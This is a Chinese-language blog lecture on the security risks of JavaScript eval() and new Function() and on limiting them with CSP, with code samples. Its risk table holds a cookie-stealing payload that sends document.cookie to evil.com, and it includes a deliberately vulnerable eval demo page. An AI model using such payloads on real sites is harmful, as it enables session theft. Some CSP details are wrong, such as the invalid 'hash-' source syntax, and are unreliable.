深入分析 JavaScript eval() 和 new Function() 的安全风险，并讨论 CSP (Content Security Policy) 如何限制它们的滥用。

admin
Fri, 25 Jul 2025 14:29:04 +0000
Javascript, eval, javascript, new

大家好，我是你们今天的安全讲师，江湖人称“代码神探”。今天我们要聊聊 JavaScript 中两个“危险分子”：eval() 和 new Function()，以及如何用“紧箍咒” CSP (Content Security Policy) 来约束它们的行为。 准备好了吗？让我们开始这场 JavaScript 安全攻防战吧！ 第一幕：危险分子登场——eval() 和 new Function() 首先，我们来认识一下这两位“危险分子”。 eval()： 简单来说，eval() 就是 JavaScript 的一个内置函数，它可以将字符串作为 JavaScript 代码执行。 就像一个“任意门”，它可以打开任意字符串，让它变成活生生的代码。 let x = 10; let y = 20; let expression = "x + y"; let result = eval(expression); // result 的值为 30 console.log(result); 看上去很方便，对不对？但是，注意了，eval() 的强大之处也是它最大的隐患。如果 expression 的值不是你 …

继续阅读“深入分析 JavaScript eval() 和 new Function() 的安全风险，并讨论 CSP (Content Security Policy) 如何限制它们的滥用。”

The post 深入分析 JavaScript eval() 和 new Function() 的安全风险，并讨论 CSP (Content Security Policy) 如何限制它们的滥用。 first appeared on 智猿学院-前后端，数据库，人工智能，云计算等领域前沿技术讲座.

大家好，我是你们今天的安全讲师，江湖人称“代码神探”。今天我们要聊聊 JavaScript 中两个“危险分子”：eval() 和 new Function()，以及如何用“紧箍咒” CSP (Content Security Policy) 来约束它们的行为。

准备好了吗？让我们开始这场 JavaScript 安全攻防战吧！

第一幕：危险分子登场——eval() 和 new Function()

首先，我们来认识一下这两位“危险分子”。

eval()： 简单来说，eval() 就是 JavaScript 的一个内置函数，它可以将字符串作为 JavaScript 代码执行。 就像一个“任意门”，它可以打开任意字符串，让它变成活生生的代码。

let x = 10;
let y = 20;
let expression = "x + y";
let result = eval(expression); // result 的值为 30
console.log(result);

看上去很方便，对不对？但是，注意了，eval() 的强大之处也是它最大的隐患。如果 expression 的值不是你可控的，而是来自用户输入、网络请求等不受信任的来源，那么 eval() 就会变成一个“特洛伊木马”，让恶意代码堂而皇之地进入你的程序。

例如：

let userInput = " alert('Hacked!'); "; // 恶意代码
eval(userInput); // 执行恶意代码，弹出警告框

这段代码看起来不起眼，但是如果你在一个允许用户输入的地方（比如评论区）使用 eval() 来处理用户输入，那么攻击者就可以通过注入恶意 JavaScript 代码来控制你的网站。

new Function()： new Function() 类似于 eval()，也可以动态地创建和执行 JavaScript 代码。 它的语法如下：

let myFunction = new Function('arg1', 'arg2', 'return arg1 + arg2;');
let result = myFunction(5, 3); // result 的值为 8
console.log(result);

new Function() 接受若干个字符串参数，除了最后一个参数之外，其他的参数都作为新函数的参数名，最后一个参数是函数的代码体。

与 eval() 类似，new Function() 也存在安全风险。如果函数的代码体来自不可信的来源，那么攻击者同样可以注入恶意代码。

例如：

let maliciousCode = "alert('Hacked by new Function!');";
let evilFunction = new Function(maliciousCode);
evilFunction(); // 执行恶意代码，弹出警告框

第二幕：安全风险大盘点

eval() 和 new Function() 的安全风险主要体现在以下几个方面：

1. 代码注入： 这是最常见的风险。攻击者可以通过控制传递给 eval() 或 new Function() 的字符串来注入恶意代码。

2. XSS (Cross-Site Scripting) 攻击： 代码注入通常会导致 XSS 攻击。攻击者可以在用户的浏览器中执行恶意 JavaScript 代码，窃取用户数据、篡改网页内容、甚至控制用户的浏览器。

3. 性能问题： 动态执行代码通常比静态编译的代码慢得多。频繁使用 eval() 和 new Function() 会降低程序的性能。

4. 调试困难： 动态生成的代码难以调试。当程序出现错误时，很难定位到错误代码的具体位置。

5. 安全审查困难： 包含 eval() 和 new Function() 的代码难以进行安全审查。安全人员很难确定这些函数是否被用于执行恶意代码。

为了更清晰地了解风险，我们用表格来总结一下：

风险类型 | 描述 | 示例
代码注入 | 攻击者通过控制传递给 eval() 或 new Function() 的字符串来注入恶意代码。 | eval(" alert('Hacked!'); ")
XSS 攻击 | 代码注入通常会导致 XSS 攻击。攻击者可以在用户的浏览器中执行恶意 JavaScript 代码，窃取用户数据、篡改网页内容、甚至控制用户的浏览器。 | 用户在评论区输入 document.location='http://evil.com/?cookie='+document.cookie ，如果网站使用 eval() 处理评论，用户的 Cookie 就会被发送到攻击者的服务器。
性能问题 | 动态执行代码通常比静态编译的代码慢得多。频繁使用 eval() 和 new Function() 会降低程序的性能。 | 大量使用 eval() 解析 JSON 数据可能会比使用 JSON.parse() 慢很多。
调试困难 | 动态生成的代码难以调试。当程序出现错误时，很难定位到错误代码的具体位置。 | 假设一个动态生成的函数包含错误，调试器可能无法正确显示错误信息和堆栈跟踪。
安全审查困难 | 包含 eval() 和 new Function() 的代码难以进行安全审查。安全人员很难确定这些函数是否被用于执行恶意代码。 | 安全人员需要仔细检查所有使用 eval() 和 new Function() 的地方，以确保没有注入恶意代码的风险。

第三幕：CSP 的“紧箍咒”——限制 eval() 和 new Function()

CSP (Content Security Policy) 是一种安全策略，它可以帮助开发者限制浏览器可以加载和执行的资源，从而减少 XSS 攻击的风险。 CSP 通过 HTTP 响应头或 HTML 标签来定义。

CSP 可以通过以下指令来限制 eval() 和 new Function() 的使用：

script-src 'none'： 禁止执行任何 JavaScript 代码，包括内联脚本、外部脚本和动态生成的代码。 这基本上是“一刀切”的做法，最安全，但也会限制很多功能。

script-src 'self'： 只允许执行来自同一域名的 JavaScript 代码。 这可以防止从其他域名加载恶意脚本，但仍然无法阻止代码注入。

script-src 'unsafe-inline'： 允许执行内联 JavaScript 代码。 注意： 强烈不建议使用这个指令，因为它会大大增加 XSS 攻击的风险。

script-src 'unsafe-eval'： 允许使用 eval() 和 new Function()。 注意： 同样，强烈不建议使用这个指令，因为它会使你的网站暴露在代码注入的风险之下。

script-src 'nonce-{random-value}'： 允许执行带有特定 nonce 属性的内联脚本。 nonce 是一个随机生成的字符串，每次页面加载时都会改变。 这种方法可以有效地防止 XSS 攻击，但需要服务器端配合生成 nonce 值。


  // 内联脚本
  console.log("Hello, CSP!");




script-src 'hash-{sha256-hash}'： 允许执行哈希值与指定哈希值匹配的内联脚本。 这种方法也可以有效地防止 XSS 攻击，但需要计算内联脚本的哈希值。


  // 内联脚本
  console.log("Hello, CSP!");




可以使用浏览器的开发者工具或者在线工具来计算脚本的 SHA256 哈希值。

最佳实践：

尽量避免使用 eval() 和 new Function()。 如果必须使用，请确保输入是经过严格验证和清理的。

使用 CSP 来限制 eval() 和 new Function() 的使用。 如果你的网站不需要动态执行代码，请使用 script-src 'none'。 如果必须使用动态执行代码，请使用 nonce 或 hash 来限制可以执行的脚本。

定期审查你的代码，查找潜在的安全漏洞。

实战演练：

假设我们有一个简单的网页，允许用户输入 JavaScript 代码并执行。




Eval Demo



Execute



    function executeCode() {
      let code = document.getElementById("code").value;
      try {
        let result = eval(code); // 危险！
        document.getElementById("output").innerText = "Result: " + result;
      } catch (error) {
        document.getElementById("output").innerText = "Error: " + error;
      }
    }




这个网页存在严重的安全漏洞，因为 eval() 可以执行用户输入的任意 JavaScript 代码。

为了修复这个漏洞，我们可以使用 CSP 来限制 eval() 的使用。

1. 完全禁用 eval()：

在 HTML 的 标签中添加以下 标签：



或者，在服务器端设置 HTTP 响应头：

Content-Security-Policy: script-src 'self'

现在，如果用户尝试输入恶意代码，浏览器会阻止 eval() 的执行，并在控制台中显示错误信息。

2. 使用 nonce：

首先，在服务器端生成一个随机的 nonce 值，并将它传递给客户端。 然后，在 HTML 中添加以下 标签：



并将 nonce 属性添加到 标签中：


  function executeCode() {
    // ...
  }


{random-value} 需要替换成服务器端生成的实际 nonce 值。

这样，只有带有正确 nonce 值的脚本才能被执行。

第四幕：替代方案——告别“危险分子”

既然 eval() 和 new Function() 这么危险，那我们应该尽量避免使用它们。 那么，有没有替代方案呢？

当然有！

JSON.parse()： 如果你需要解析 JSON 数据，请使用 JSON.parse()，而不是 eval()。 JSON.parse() 只能解析 JSON 数据，不会执行任何 JavaScript 代码，因此更加安全。

模板引擎： 如果你需要动态生成 HTML 代码，请使用模板引擎，例如 Handlebars、Mustache 或 React。 模板引擎可以帮助你安全地将数据插入到 HTML 模板中，而无需使用 eval() 或 new Function()。

静态代码分析： 如果你需要执行一些复杂的逻辑，请尽量使用静态代码分析工具，例如 ESLint 或 JSHint。 这些工具可以帮助你发现潜在的安全漏洞，并提供修复建议。

WebAssembly： 如果你需要执行高性能的计算密集型任务，可以考虑使用 WebAssembly。 WebAssembly 是一种二进制指令格式，可以在浏览器中以接近原生代码的速度运行。

总结：

eval() 和 new Function() 是 JavaScript 中强大的工具，但同时也存在严重的安全风险。 为了保护你的网站免受 XSS 攻击，你应该尽量避免使用它们，并使用 CSP 来限制它们的使用。 如果必须使用，请确保输入是经过严格验证和清理的。

记住，安全是一个持续的过程，需要我们不断学习和实践。 希望今天的讲座能帮助你更好地理解 JavaScript 安全，并编写更安全的代码。

感谢大家的聆听！ 下课！